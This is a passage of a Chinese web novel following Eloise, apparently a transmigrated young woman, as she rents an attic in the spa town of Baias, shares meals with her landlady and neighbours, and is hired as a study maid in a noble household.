“不了不了。是这样的，温切尔婶婶，我刚住进去，有一些毯子床单要清洗，东西有点多，想请你来帮忙洗一下。嗯，我会按照市场价格付费的。” “啊，你这孩子。等我把手头的活干完就去贝林婶婶家给你帮忙。”温切尔嗔道。 “嘿嘿，那我先去忙别的了，我把要洗的东西都堆在院子里了。”爱洛轻快地回答道。 “好的，你去吧。”温切尔按了按从自己裙边伸出小脑袋的塞拉，示意她不用理会这个看起来想聊天的小姑娘。 爱洛朝塞拉眨了眨眼，就沿着小街往前走，去了贝林说的杂货街。一直走的这条石匠街的尽头，才看见横向交叉的一条街上人来人往，比石匠热闹了许多。 这条喧闹的杂货街，沿途全是商铺，爱洛双手 12. 晚餐 [] 从这个不显眼的二手店出来，路过一间小小的日用品店，爱洛进去挑了一床崭新的的淡绿大花纹样的棉被，厚度适中，足足花了1个先令。 想着借用贝林的烧水壶应该不难，盘算着自己还有的木碗和木勺还在，就只又花了2个便士买了个木头水杯。 买完日用品，爱洛走进了香味传了半条街的面包房，准备给晚餐加个菜。 自己刚到这里，东西没置办齐，贝林一声没吭，很自然的就让她跟着自己吃饭。素不相识的温切尔，热心善良，才让她能这么顺利就找到合适的房子安顿下来。 所以，目前以她的能力，暂时就只能先买点食物感谢一下了。 从面包房各种诱人的甜点上移开眼睛，爱洛艰难的在肉制品区选择了一块不大的火腿，花了整她6个便士的巨款，一个礼拜的租金，小小的肉痛中。。。 回到小楼，看到立在楼梯墙边的床垫。问了贝林，说温切尔已经拍打过床垫，这会儿带着地毯和一大桶要洗的衣物去井边了。爱洛就进了厨房放下火腿，拎着一小桶水上楼打扫房间。 把窗户，桌椅，床板都仔细擦过两遍之后，爱洛四下看了一遍，满意地直起身子。去到楼下，一个人废了九牛二虎之力，才把不算厚的床垫拖到房间铺好。 今天阳光不错，还有微风，估计那床从家里带的薄床单晚上就能晾干用上了。挑出来的柜子和圆桌，都是实木的，很重。她可没本事搬到楼上去，只先擦洗干净，在院子里晾着。 把东西都整理了一遍后，爱洛打算去井边帮忙。刚要出门，就听见塞拉的小声音：“贝林奶奶，我们回来啦。” 爱洛打开门，塞拉要拍门的手一下就缩回去了。不远处，提着装满洗净衣物大桶的温切尔正朝这边走过来。 “温切尔婶婶，你洗完衣服啦？我来帮你。”爱洛三脚并做两步的跑过去，和温切尔一人一只手的提着大桶往回走。 “你的东西都买齐了？”温切尔问。 “嗯，都买齐了。还有一块据说很美味的腌火腿，晚上我们就可以一起尝尝了。”爱洛回答。 “你这孩子，尽乱花钱。” 温切尔不赞成地说，“我跟人打听了有没有合适你的活儿，一会儿好好跟你说。” “太好了，我很快就能赚到钱了，哈哈。”爱洛开心的笑了。 心情颇好的跟着温切尔一起进屋，塞拉已经乖乖的坐在贝林面前的小凳子上吃饼干了。 “贝林婶婶，又要麻烦你看着塞拉了。” “我也没什么要忙的，就喜欢小孩子待在我面前。”贝林继续勾着她的围巾。 温切尔和爱洛走到到院子里，把拧干的地毯和衣服床单晾好，又上楼把窗帘直接挂上，三楼开着窗户，风吹着干得更快些。 两人又吭哧吭哧地把入户柜和小圆桌抬到小阁楼里，这下，爱洛的小屋就基本成型了。 窗边原有的小桌光线好，可以当做梳妆台。小圆桌放置在了屋子中间，当做餐桌或者工作台。 等这些事都做完，时候已经不早了。下楼一看，贝林已经在厨房里忙活，塞拉则是一个人蹲在院子里看蚂蚁。 温切尔赶紧去帮忙切菜，爱洛则是进进出出的打个下手。一会儿跟塞拉聊几句不知所谓的天，一会儿从院子里的大桶里舀水进去。 得知储水大桶里的水是每天早上贝林花钱找人送来的，还担心自己是不是得每天去井边提，后来说是租客随便用，这才放下心来。 帮忙添柴的时候，贝林又告诉爱洛，如果她自己之后要做饭，厨房的炊具都可以用，但用过之后要洗干净。柴火需要自己购买，这里的燃料不算贵。 虽然拜阿斯城以温泉出名，但城外的山上树木却很多。通常，1便士的柴火能有一大捆，足够用半个月的。同为租客的卡洛塔平日里只烧水不做饭，周末才偶尔做一顿。做饭时间只需要跟贝林协调好就行。 “我的运气可真不赖，一到拜阿斯城就遇到了挺好的人。”爱洛有些感慨，之前的坏运气可算都过去了。 “帮助别人，心怀善念，就有好事发生。”贝林讲的颇有些玄学，但很有哲理。 温切尔连连点头：“您说的可太对了。我刚才去井边的路上，又遇到金恩婶婶，她还在问爱洛住下了没有。说真有合适的活计能干呢。你说，这要不是个好孩子，怎么这么顺利的有活干呢？” “这个，嗯，就有点神秘色彩了，之前两年那么惨，怎么一到这里就能顺当起来了呢？是本城哪位大神给了我个眼神么”一直不太了解各种信仰体系的爱洛默然：“只要你们逻辑自洽就好了，我只想先生存再发展。。。” “那金恩有没有具体说是干什么呢？”贝林惊讶的问。 “没细说，就是说有合适的，晚上她会过来的。”温切尔回答说。 “几十年的毛病还是这样，就喜欢卖关子，看人着急。”贝林吐槽道。 “呵呵，”温切尔只是笑着，不说话。 火腿煎好，洋葱拌苦菊菜，浇上沙拉酱，盖上奶酪的土豆泥烤制出炉，撒上胡椒粉，香气扑鼻而来。 不要说塞拉早就眼巴巴的站在厨房门口等着，就连爱洛在火炉前都有点坐不住了，频频看向盛满食物的盘子。 “好了，等羊角面包烤好，我们就吃饭了。”又煮好了一锅蘑菇清汤，贝林说着话，跟温切尔一起把盛放着各种食物的盘子和锅子端进屋里。 看见塞拉娴熟的拖了把小椅子过来，稳稳的站在上面等着。就知道，她这么干不是第一次了，肯定没少在贝林这里吃饭。 等大家都坐好，贝林开口说道：“欢迎爱洛伊丝来到拜阿斯城，希望你一切顺利。” 爱洛微笑着说：“谢谢贝林奶奶，我很喜欢这里。” 贝林示意大家不必客气，可以开动了。温切尔照 13. 消息 [] 打开窗户，太阳暖暖的，空气里夹杂着水汽和花香，真是好啊！ 穿上那条不那么显旧的浅棕裙，套上擦拭过的外套，爱洛给自己梳了个短短的蝎尾辫，利利落落的下了楼。 下楼转入客厅，贝林坐在老位置上，端了杯茶在看报纸。 听见脚步声，抬眼见爱洛下楼来了，露出微笑说：“爱洛，看来休息的不错。洗漱完了吃早饭吧，我给你留了羊角面包。” “好的，贝林奶奶，我很快就来。”爱洛回答完了，赶紧去院子里的盥洗室打理个人卫生。 之后，到厨房拿着羊角面包回到客厅，问道：“贝林奶奶，你吃过了吗？” “我吃过了，来尝尝我的锡兰红茶。”贝林回道。 吃了两只小羊角面包，喝了一杯浓浓的红茶，爱洛就拿着贝林找给她的地图，出门找工作了。 ······ 远古的火山沉寂万年之后，在山脚渗出热泉，人们围绕着据说可以治病延寿的泉眼，在几百年间陆续地修建了这座以石头建筑为主的拜阿斯城。 早年，帝国的达官显贵一代接一代的在这里修建别墅，用于冬日度假。因此形成了主城区的高档别墅区。 随着城市的发展，灵活的商人开发出了各式各样的温泉旅馆，让有体面职业，衣食无忧的人们无需巨额投入，也可以短期旅居，享受到同样的生活。 这座依靠温泉和旅游而兴起的城市，冬季温暖湿润，夏季酷暑干燥。每年的十月到次年的三、四月，来自帝国各行省的人们汇聚于此，带来大量的人气和生计。 因此，初冬的此时是用工高峰，很多度假的夫人和小姐需要短期女仆或者助手，这也正是爱洛的机会。 穿城而过的月亮河，因弯如新月而得名，它把城市分成了两半。城北地势低一些，是温泉泉眼的主要涌出地，度假别墅区大都在这里。爱洛落脚的城南，是普通人的居住区，温泉旅馆不多，风格平实，以平价亲民为主。 踩着大块的石板路，爱洛按地图指引的方向，顺着两辆马车宽的沿河南岸走了大半个小时，穿过城市中心位置的圆形喷泉广场，到了沿河北岸。再顺着北岸的沿河路走过几个巷子口，就来到了冬青树街。 据贝林所说，冬青树街以售卖各地而来的纺织品为主，棉布，丝绸，毛呢，缎带，蕾丝，纱网等等，各种材质的纺织品很齐全。每一年，来这里度假的人要自己买布料裁剪新衣，或者装饰屋子，都会到这里采购。 像皮洛家，以前是制作花式马鞭卖给小贩的家庭作坊。慢慢地，不只做马鞭，还做结绳编制的装饰品，生意越来越好，就在这条街上开了店，自产自销。 走到冬青树街口，远远就能看见皮洛家用马鞭做成的一面彩帘高高挑起，在一众半空中挂着的店铺招牌中有着不同的质感，很是醒目。 爱洛跟在逛街的人后面，走进这间10英尺左右宽的店面，两侧墙边堆着各种款式的编织物。 坐垫，门帘，地垫，桌垫，以及各种叫出不名字的大小手工编制品，五颜六色的很是好看。 店里最吸引人的是正对门墙上挂着的一根金灿灿的马鞭，足有3英尺长，缠着五彩的流苏散落下来，鲜艳夺目，半遮住的下边柜台。 柜台里面，一个梳着发髻，带着黄亮色发网，穿着暗红色长裙的女人正在清点手里的单据。听到有人进来，扬起脸，一看是个大眼睛瘦瘦的小女孩，就开口问道：“小姑娘，你是要买手绳还是发带？” “额，您好。我是石匠街贝林奶奶家的住户爱洛伊丝。昨天，听金恩奶奶说莉莲姐姐可以介绍工作，我就来打听一下。”爱洛中规中矩的回答。 “哦，是金恩婶婶说的那个小女孩吧。昨天莉莲一回来就跟我说了。你等着，我喊她出来。” 女人一边说，一边推开柜台后面的一扇小门，冲着里面喊道：“莉莲，莉莲，快出来，有人找你。”然后转过头来，笑着说：“我是莉莲的妈妈，你可以叫我丽莎婶婶。” “啊，丽莎婶婶，见到你很高兴。”爱洛一本正经的打了个招呼，把丽莎给逗乐了，“这个孩子还挺有礼貌。” 正说着，围着围裙，带着一顶窄边花帽的莉莲走了出来，问：“谁找我？” “是昨天说要找活干的小女孩。”丽莎低声说。 “哦”，莉莲抬起眼睛，仔细的盯着爱洛看了看，说：“不知道行不行，我先问问吧。”就带着爱洛来到一堆货物的后面，避开进店来的挑货的人，跟她说起具体情况。 原来，是一位从兰敦来拜阿斯城过冬的贵妇人，需要一位打扫书房的女仆。本是带了两个女仆，一个厨娘和一个女管家，在本地只需要雇佣门房和每日上门的粗使清洁女仆就行。 但不巧，上周的时候，一个女仆家中有人生病，回乡下去了。留下的女仆整日里除了要管着衣饰，还要跟着出门，其他的事情根本忙不过来。 偏偏这位贵妇人很有才华，度假也带了很多书籍，这样就需要一个专门管书房的女仆，不只是做书房的清洁卫生，还要单独负责书籍的整理分类。因此，要求就有些高了，既要个人整洁会打扫，还要能识字。 要知道，能住上有公共水井的街区，都算是条件不错的。即使是这样的人家，冬天也不见的每周都能洗澡，这已经是很干净卫生的家庭了。 更何况还要识字。中产家庭识字的女孩，不会出来做女仆。贫民识字的女孩，去店铺或者工厂都能做个小管事，挣得会更多；要么嫁个条件好点的家庭也是很好的出路。 所以，在贵妇人换了好几个女仆都不满意之后，这个消息就在冬青树街传开了，负责找人的中介急的跳脚，到处拜托街坊邻居。 “我是识字的，也还算爱干净。但能不 14. 找工作 [] 半拱缠枝铁艺门内，是一大片茂密的深绿草坪，左右各一条鹅卵石子铺成的步行甬道，直通小楼前的石阶门廊。 步道外围靠墙的位置，有一圈供马车行走的石板路，围成弧形绕到楼前的空地上。石子路与石板路之间，种植着低矮的紫色树丛，站在大门口向里望去，视野开阔，庭院打理的异常平整。 三层的小楼并不特别高大，却很精致。纯白的麻石外墙，砖红色屋顶，棕色竖方窗，尖顶圆柱，透露出一股子贵族休闲风的低调审美。 房子的石质栏杆、门柱和廊檐下都镌刻着植物花纹，廊柱的顶部伫立着石雕家徽，爱洛虽然分不清是什么，但大受震撼。 本诺带着爱洛，并没有直接走向位于二层台阶的大门，而是到了石阶门廊下的小楼一层，这里是厨房，储藏室，和仆人们居住的楼层。 藏在台阶后方的门半掩着，本诺轻轻的敲了敲，很快，一阵脚步声，木门从里面拉开，一位系着黄格子围裙的胖女人站在入口处，眯着眼睛看向两位不速之客。 “米拉大婶，我新带了个女仆，让约根纳管家来看看。”本诺轻微弯腰，点着头对厨娘说道。 米拉打量了几眼站在本诺身后的爱洛，皱了一下眉头，用没什么起伏的声音说：“行，你进来吧。”转过身，就带着两人往里走。 进门之后，是一个小小的门厅，从侧门绕过门厅，是一间比较大的屋子，两侧各开了一扇门，通向不同的房间。 屋子中间的位置摆了张很大的核桃木办公桌，桌后的高背椅上，坐着一个穿着深棕色高领宽袖裙的女士，年纪不小了，看着很严肃，正挺直颈背埋头书写着什么。 听见人进来的声音，严肃女士停下笔，抬起头，看见跟着米拉后面的是自己曾经见过的人力中介本诺，还有一个小女孩。紧绷的嘴角有些松，放下了手里的钢笔，指着办公桌前面的椅子，说道：“坐。” 本诺露出大大的笑容，愉快的声调有些上扬：“约根纳夫人，我问遍了冬青树街的邻居们，可算找到了符合您要求的女仆，这个孩子读书识字，干活卖力，您瞧瞧看，行不行。” 约根纳没说话，盯着爱洛看了好一会儿，见她辫子梳得整齐，裙子干净，双手握放在身前，规规矩矩地站在本诺身边，既不乱动也不吭声，眼神跟自己对视也没有躲闪，就点了点头，开口道：“就是看着小了点。” “嗨，这个年头，会走路就得要干活了。也不算小了，都是在家里干惯了的，上手还快些。”本诺见有戏，说话就有点飘了。 “你叫什么，认识几个字？”约根纳想了半晌，终于开口了。 “约根纳夫人，您好。我叫爱洛依丝·加西亚·泰勒。学过大约2000个字。”爱洛声音不大，有点拘谨地介绍自己的学历。没敢吹当年为了就业，各种证书刷起来，1万单词不在话下的牛。 求职的时候看得情况，这位面试官明显严谨保守，不会喜欢性格过于外露的人选，而且在当地找短期女仆，肯定会偏向沉默老实的人。 所以，爱洛就先选择了胆小踏实的人设，问什么答什么，一句话也不多说。 “嗯，是当地人吗？家里还有什么人？” 约根纳继续问，做背景调查。 “我是从施塔特郡的海莱格尔斯镇来的，家里没有别人了，现在住在城南石匠街贝林奶奶家，是街上的老邻居莉莲·皮洛介绍我来的。”爱洛又一次交代自己的来历，强调了自己在当地的人脉关系，试图为自己增信。 “你是在学校读的书吗？是整理过学校图书馆的书籍吗？”这是考察工作能力。 “是到村里的学校学习过，封面上的字大多都认识，也会按字母排列。”反正村里的学校早就倒闭了，她也没地方核实去，只要自己能读会写，就证明读过书，管我是上辈子读的还是这辈子读的呢。 至于整理书籍，请问，你们家有图书馆分类管理系统吗？如果没有，是按照作者分，还是按照体裁分，或者按照薄厚分？不管怎么分，这都不是事儿。 约根纳笑了，“好的，跟我上楼去书房，看看到底会什么。” 然后朝着本诺说道：“你在这等着吧。米拉，上杯茶。” 约根纳起身往外走，爱洛才发现，这是一位个子很高，骨架很大的女士，光是站在那里，就给现在还很娇小的爱洛一种压迫感。 侧面看去，脸庞棱角分明，尖如利刃的鼻子让人扫一眼心里就有点打颤：“这个，不像是个能摸鱼的工作呐。。。” 跟在伟岸的管家身后，进了左侧的门，靠墙是一条窄窄的旋转楼梯，顺着楼梯上二楼，放缓脚步从客厅背后穿过去，就是位于二层右侧靠西的书房。 书房的面积大约能有300多平方英尺，两面墙都有玻璃门的木质书柜，但只有下边几层放着书籍，空置了大半。 一大堆的杂志和画册，凌乱的堆在棕色带水草纹的地毯上。在一扇大开窗的前面放着一张樱桃木长书桌，书桌的一角摆着百合花型玻璃灯罩的台灯。 桌上打开的墨水瓶，没合的钢笔，摊开的信纸，还有一些揉起来的纸团，一副创作不顺心烦意乱的场景。 没理会这些，约根纳只是简短的说了一句，“你先把地上的杂志整理一下。”就在椅子上坐了下来，盯着她要监工的模样。 爱洛见她没提按什么标准分类，就走过去蹲在地上，挽起衣袖，开始干活。 先把杂志和画册分开，把杂志按照时装，文摘，小说的类型分开，然后根据封面上的日期和出版商，分别摞起来。 再看画册，都是油画类的，也没时间细看风格或者作者，就按照尺寸大小在地上排列整齐。 见爱洛手脚麻利，井井有条的很快就分完了，约根纳有点惊讶，站起来，走到书堆前，检查了一番，张口结舌的问道：“你还分的清楚文摘和小说哪？” 爱洛腼腆一笑：“是的，约根纳夫人。” “好好，不错。”约根纳露出了笑容，“走吧，我们去楼下吃点小饼干。”这会儿说话就没那么紧绷了，对待爱洛倒是像对个孩子了。 原路返回楼下，约根纳带着爱洛到了跟厨房连在一起的餐厅。餐桌占据了餐厅大半的位置，，结实的橡木制品，做工比较粗糙，硬硬的让爱洛差点 15. 签约入职 [] 回到鸢尾花街上，本诺跟爱洛交代：“重要的是需要贝林女士的保证文件，你有把握拿到吗？” 爱洛咬了咬嘴唇，摇摇头，低声说：“我跟贝林奶奶昨天才认识，不确定。” “你。。。。行吧，运气真好，还真能让约根纳夫人点头留下试用。这周我们冬青树街的介绍人至少带了十多个女仆见她，只留下试用了一个。结果，干了一天就被打发走了，说是把一堆书分的乱七八糟，坎贝尔夫人找不到，发了火。约根纳夫人着急了，没料到在拜阿斯城找个书房女仆这么困难。这才降低了标准。否则，至少需要本地出生，有神父的签名文件才行。” 本诺摇着头感慨：“能认识字就不错了，还需要分清楚不同类型的书，书不都是一样的么？” “嗯，那本诺大叔，如果贝林奶奶不方便给我写保证文件，我应该怎么办呢？我有自己的出生文件可以吗？上面有我们镇上神父的签名。”爱洛满怀希望的看向本诺。 “这个，我也不知道。看情形也不是不能通融。”本诺挠了挠下巴，说：“这样，你先回去问问她愿意不。如果不愿意，就带着你的出生文件，我们再跟约根纳夫人聊聊。” “好的，太谢谢本诺大叔了，我先去和莉莲姐姐说一声，就回皮匠街。下午我们还在这个地方见吗？”一路走到了街角，爱洛问。 “两点在皮洛家的店里见吧。这里人来人往的，容易错过。”本诺说。 “好的，本诺大叔，下午见。”爱洛晃了晃手，进了冬青树街，来到皮洛家的店铺门口。 见莉莲正站在门口整理货品，就蹦跳着走到背后，大声说：“莉莲姐姐，我回来了。” 莉莲吓了一跳，扭头见是爱洛，轻轻拍了一下她的胳膊，说：“怎么样，看来不错，笑嘻嘻的。” “是的，让我下午三点去签合同。今天就上工，先试用一个礼拜。”爱洛见里面有人似乎是要出来，担心被拦住解释起来就没完，把米拉给她的小点心袋子递过去，语速很快：“约好了两点我和本诺叔叔在你家的店里汇合，到时候问他吧。我要快点回去拿东西，要来不及了。”没等莉莲再细问，就一溜烟的钻入人群不见了。 一路连跑带走的回到石匠街，在街口的面包店买了肉松面包和两节香肠，回到小楼，开门后就张口喊道：“我被录用了，哈哈，贝林奶奶，晚上请你吃好的。” 站在门口的贝林看见爱洛喜不自禁的样子，不由的笑了：“这么好的事情发生了，那我们是要吃点好吃的庆祝一下。” 让爱洛进门，把手里的东西放在柜子上，就仔细问她去面试的经过。 爱洛一五一十的说着，提到了关于保证的事情：“要是您这里不方便写证明文件，我跟本诺大叔打算先拿着我的出生证明去。如果还是不行，我就找本地的教堂问问，能不能给我的文件背书一下。” “嗯，”贝林沉吟了半晌，摇摇头说：“拜阿斯城和施塔特郡不是一个教区，给你背书没那么容易，除非两边的神父正好认识。”又问她：“你是一会儿就要搬过去吗？” 爱洛盯着贝林的眼睛，语气肯定地说：“虽然包食宿，但是坎贝尔夫人也只是冬季到这里来度假，明年3-4月就回兰敦了。到时候我也不一定跟着去，还是要在拜阿斯城有落脚的地方。嗯，据说，女仆也会有假期的，所以，这间小阁楼我会一直租着。等休假的时候回来。” 贝林听了，眼睛弯弯的，说：“你能想明白这个问题就好。这样吧，我以房东的身份给你出具证明文件，证明你至少要在我这里租房半年。” “太好了，贝林奶奶，我一有假期就回来看你。”爱洛内心很是感动，眼眶都有点湿了。 在自己最需要的时候，不管出于什么理由，有人能够伸手，帮自己的忙，就真的可以说是运气爆棚，否极泰来了吧。 “呵呵，我这就给你写，写完快点吃午饭，可别迟到了。看起来，去这家做女仆还不大容易呢。”贝林说着，利落的起身，去楼上写证明文件了。 看她上楼，爱洛庆祝的挥了挥拳头，把面包和肉肠拿到厨房，点燃炉火。又把自己买的小铁锅找出来，洗干净，放在炉子上煎肉肠。 炉膛里的火明明暗暗，小锅里的肉肠滋滋冒油，等爱洛把面包烤酥脆，肉肠切片，拿到餐桌上时，贝林也正好拿着的一张折起来的纸下了楼。 见爱洛忙活的差不多了，贝林把纸递给她，说：“看一看，收好。”爱洛把手在身上擦了擦，接过来展开，上面写着：“夫人，兹证明爱洛依丝·加西亚·爱洛为正直善良之人，已于石匠街12号租房6个月以上。贝林·卡斯帕。” 小心翼翼地折好，塞入自己宽腰带的内侧口袋，爱洛抬起头，看见贝林在壁炉上煮了一壶咖啡，已经冒出热气了，就拿起柜子上的杯子，主动凑过去，“贝林奶奶，中午饭配咖啡吗？”刚刚得到帮助，行动间难免就带了点小殷勤。 “呵呵，是的，这会已经快12点了。你不回来，我打算喝咖啡就华夫饼的。” “那不是早餐吗？”爱洛眨了眨眼睛，不解地问。 “我吃的不多，有时候中午就懒得做饭，将就一下。”贝林无所谓的说。 “贝林奶奶，三顿饭可要按时吃啊。” “以前粮食少的时候，人们一天还只吃两顿饭呢。”贝林摇摇头。 “啊，这我可不知道。”爱洛接口道：“这么说，虽然我觉得生活不易，但其实已经比以前强了很多了。”小嘴巴巴的，也是有点没话找话的意思。 “你这孩子。”贝林笑了，两人坐在餐桌旁，边聊天边吃饭。显然，独居的她很少有人陪她聊天，谈兴很浓。不知不觉间，两个人把午餐吃的干干净净。 “不错，你煎的香肠很好吃。”贝林夸奖，爱洛低头笑了。两个人吃饭总比一个人强呢。 收拾完餐盘，爱洛把院子里干透的衣物收起来拿到楼上。想了一想，把自己一半的财产装在身上，还有一半依旧藏在小阁楼里。带着钱以备不时之需，同时，鸡蛋不能放在一个篮子里，分担风险么。 把所有的衣服收好，留下一套更旧的灰色衣裙，其他的用自己拿万能的床单包起来，准备带走。藏好的东西检查一遍，新买的被子、衣服和其他一些用具都堆在床上，用刚洗净晒干的地毯紧紧盖上，这样就不怕落灰了。四下里再看了看，把窗户插好，锁好房门。 虽然只住了一个晚上，但这间低矮的小阁楼让之前很长时间都朝不保夕，颠沛流离的爱洛获得了久违的安心。 “我还会回来的。” 爱洛背着小小的包袱下了楼，贝林说道：“不早了，你这就出发吧，等安定下来，找人带个信，房子我会一直给你留着。” “放心吧，等过了试用期，我就给您捎信。”爱洛的声音有点嘶哑。怎么会有点舍不得呢？奔赴新的工作岗位难道不应该是开心快乐吗？ 可能在最困难的时候，得到了别人的真心帮助，内心很激动吧。爱洛自己有点不解，这个时 16. 工作就是搬砖 [] 约根纳见爱洛回来，示意她坐在办公桌前的椅子上，开始和她谈话，其实就是入职培训。 先从房子的布局讲起。她们所在的位置，说是一层，其实是半地下，主要是仆人们活动的区域。除了厨房和仆役餐厅，约根纳在一层大厅的办公室之外，厨娘米拉和爱洛的寝室也是在一层的另一侧。虽然这一层还有空房间，但约根纳和另一位贴身女仆住在三层的阁楼。 小楼的二层和三层，是主人们的房间。二层是门厅，客厅，起居室，书房，餐厅，游戏室。三层是主人卧室和客房。 爱洛每天要去书房打扫，未经允许，不得去其他的地方，只能待在一层。主人外出时，可以去后花园逛逛。 “好的，我明白了。”爱洛听得很认真，看来等级还是比较森严的，普通的仆人未经允许，都不能到到主人面前去呢。唉，穿越不太成功，怎么没成为统治阶级，开个金手指，带个空间啥的，也不用苦哈哈的从地板开始奋斗啊。。。。。 约根纳停顿了一下，略带点嫌弃的上下打量了爱洛一番，说：“我给你找一套之前女仆留下的干净旧衣服，一会儿洗完澡先换上。” 又喊站在门边偷听的米拉：“你烧好热水，带她去洗澡。看着点，要是不合身，先给她改改，等我约了裁缝，就做这个季度的衣服。” 米拉爽快的答应着，拉着爱洛就去盥洗室，嘴里说着：“热水都是现成的，我每天至少烧五回热水，生怕供不上。你可是赶上了。” 大厅的右侧中间的门内，是一条走廊。两侧各有两个房间，走廊最底部就是盥洗室。 爱洛被米拉推进隔出来的洗澡间，墙上有个铜管，接在浴缸上部。米拉随手给她一条新毛巾，告诉她洗发香波和香皂在墙边的格子里，让她自己拿，还问道：“你可以自己洗澡的吧？” 爱洛吓了一跳，拼命点头，生怕这个热情的厨娘要自己上手。关好门，检查了一下卫生状况。 盥洗室并不豪华，风格简约粗犷，但打扫的很干净。红砖地面，白砖墙壁，洗手台是铁架铁盆，马桶是白色的，伸手摸了一下，是瓷的。爱洛满意地笑了，条件很不错。 虽然昨晚在贝林的小楼洗过头，冲着洗了一下，也算是洗过澡了。但毕竟热水有限，也就马马虎虎清洁了一遍，看起来光鲜了点而已，哪有淋浴舒服。 不过，这个浴缸看起来是公用的，爱洛解下背上的小包裹，就只站在浴缸里，脱下衣服挂在木架上，拉好浴帘，打开铜管上的水龙头，开始了这辈子第一次正式的淋浴。 水热热的，冲的爱洛脸都红了。真舒服，试了试洗发香波，像是混和了玫瑰汁的肥皂水，香皂是茉莉花味，淡淡的很好闻。 美美地洗过一个香香的澡，爱洛感觉自己能轻了一磅，舒服极了。穿上米拉递给她的浅蓝色布裙，裙子有点长，不是太合身。 据说这是能找到的最小号了，爱洛就先穿着。挽起袖子，把自己换下来的衣服叠好，塞进自己的包裹里。 从盥洗室出来，米拉已经等着门口了，对她说：“这里一共四间房，大小一样，我住在进门右手第一间，其余三间你自己选。” 爱洛站在走廊里看了一下方位，米拉的房间窗户应该是对着前院，方便她能随时看到前院来往的人。自己初来乍到，别多事了。于是，对米拉说，“米拉大婶，我住在你的对面吧。” 米拉拿钥匙打开进门左手的第一间屋子，爱洛站在门口一看，果然，跟她想的一样，这间的窗户正对着花园，一层是半地下，窗户就比一般屋子高，但采光还行，景色也不错。对于一个普通女仆来说，有窗的独立房间，有热水的公共盥洗室，绝对是高配。 跟着米拉进了自己挑的房间，屋子中部靠墙放了一张单人黑色铁床，手掌厚的床垫，床边有一个床头柜，靠门的墙壁立着一个衣柜。门对着的窗户下方是一张书桌，一把椅子，门口还有个三层木架，可以放杂物。 床上只有一张床垫，光秃秃的什么也没铺。米拉站在门口介绍道：“被子和床单都在柜子里。我们洗衣服是每周两次，专门的洗衣女仆来的时候才能一起洗。你先收拾一下，去大厅吧，约根纳夫人等着呢。我还有活儿呢。” 听到米拉传话，爱洛赶紧把手里的包裹放在木架上，伸手在床上摸了一下，没什么灰，找出柜子里的床单枕头和两床被子，把薄被子铺下边当褥子，再铺上床单，然后把厚被子在床上摊平，和枕头一起晾晾。 接着，用手指当梳子，把还是湿漉漉的头发向后压的整整齐齐，又从上到下的检查了一遍，换了一双有点大的室内布鞋，从房间里出来，锁好门，把钥匙塞进门边的缝隙，顺着走廊回到了大厅。 约根纳夫人正坐在办公桌前喝茶，见爱洛穿着松松垮垮的衣服，披散着湿发，提着裙子进来，皱着眉头，喊道：“米拉，米拉，你过来给这个孩子收拾一下，像什么样子。” 米拉张着两只手从厨房跑进来，看到爱洛这幅样子，笑嘻嘻的说：“哦，小可怜，没有一件合身的衣服。” 带着爱洛去了餐厅，让她坐好，先找出一条干毛巾，让她把自己的头发擦干，再变戏法一样从围裙兜里掏出个针线盒，把袖子折了两下，到手腕的位置，用针线穿一圈固定住。 再让她站起来，比了比裙子，见刚好盖住脚面，就说，“裙子不用缝了，稍微拖地也还行。不是，你用得着把裙子提的那么高吗？恨不得露出小腿了。” 爱洛不好意思的笑了：“我没穿过这么长的裙子，以前最多到脚踝，不太习惯，老感觉要摔跤。” 米拉大惊小怪地说：“哎呀，那你可就不懂了，好看的裙子都得拖到地上，今年的新流行是多层纱堆起来的拖地长裙。” 说着，又不知从哪里找出一根长的花边布条，裁成四节，给她缝在鞋子上，把一双船鞋改成了露脚面尖头绑带鞋。米拉还顺手给系了个蝴蝶结，一双半旧的布鞋一下子颜值就提升了好几个档次。 又让爱洛把半干的头发绑成两个辫子，找给她两根蓝色发带，示意她绑上，这样，一只粉蓝色的小女仆就俏生生的出现了。 米拉满意的点了点头，带着爱洛出了餐厅，去见约根纳。这一次，严肃的约根纳夫人没有皱眉，看起来对米拉的造型工作很是满意，露出一丝微笑，说道：“这会儿夫人外出没回来，我先带你去书房，告诉 17. 书房女仆的一天 [] 正要准备动手干活儿，米拉悄无声息地上楼，对爱洛说道：“今天你第一天来这里，不着急，先熟悉一下餐厅吧。我们每天除了干活，大部分时间都是待在那里呢。” “额，米拉大婶，约根纳夫人要我现在就开始了。”爱洛提醒她。 “吃完饭再干吧，今天夫人出门了，晚上有的是时间。对了，在夫人或者外人面前，要叫她约根纳管家。明天裁缝和清洁女仆们都要来呢。”看起来，平时也没什么人跟米拉聊天，急于跟同事传消息是一种本能呢。 爱洛端着托盘跟她下楼。进了厨房，先把纸团扔到垃圾筐里，再把碟子和杯子里的东西倒掉。 米拉说：“那半碟子点心已经好几天了，要是以后每日有新鲜的剩余点心，第二天拿到厨房我们就可以分掉。”这是让她注意为大家谋个小福利。 把要洗的碟子和杯子堆在水槽里，爱洛挽了袖子正要洗，米拉却怕她磕碰了，不让她动手，“这些可是成套的，我来，你先看着吧。” 在厨房里，先看米拉忙活了半天，爱洛又在她的指挥下开始摆桌子。从餐柜里拿出盘子，汤碗，刀叉，铺好餐巾，再点亮烛台。瞬间，下午阴暗不少的餐厅亮堂了许多。 米拉刚把面包，煎鸡肉，菜汤在餐台上摆好，约根纳就从大厅进来，在第一个位置坐下，米拉坐在她的右手边，爱洛则坐在米拉的旁边。 烤的酥脆的面包放在篮子里，鲜香的西红柿青菜土豆浓汤是一大盆，煎的焦黄光亮的鸡肉则由米拉端着盘子挨个给分到盘子里。 等浓汤也分好，约根纳说：“开始吧。”就拿起勺子喝起汤来了。米拉则是伸手抓了两个面包，塞给爱洛一个，也自顾自的吃起来。 爱洛一手捏着面包，一手拿着叉子，一口鸡肉，一口面包吃的喷喷香。大户人家的餐食果然不一样，用料和烹饪手法都属于上乘。 坎贝尔家不愧是老牌贵族，带出来度假的厨娘手艺都这么好，为了口腹之欲，以后可要跟米拉大婶打好关系。 静静地吃完饭，约根纳出来餐厅上楼去了。米拉开口道，“面包和鸡肉还热着，要给老约翰送去。他管着大门不能离开，一日三餐都由厨房送过去，今天你去吧。” “好的，米拉大婶。”爱洛开口答应，刚决定要打好关系就有机会跑腿，多干活，多跟人打交道也挺好。老约翰和本诺大叔似乎也挺熟悉，没准回头还能请他帮忙带信呢。 果然，爱洛把晚餐送到门房，老约翰笑哈哈地对她说：“本诺还让我关照着你一点呢。看来适应的不错，瞧瞧，衣服也换了，头发也梳了，晚饭都吃过了。” 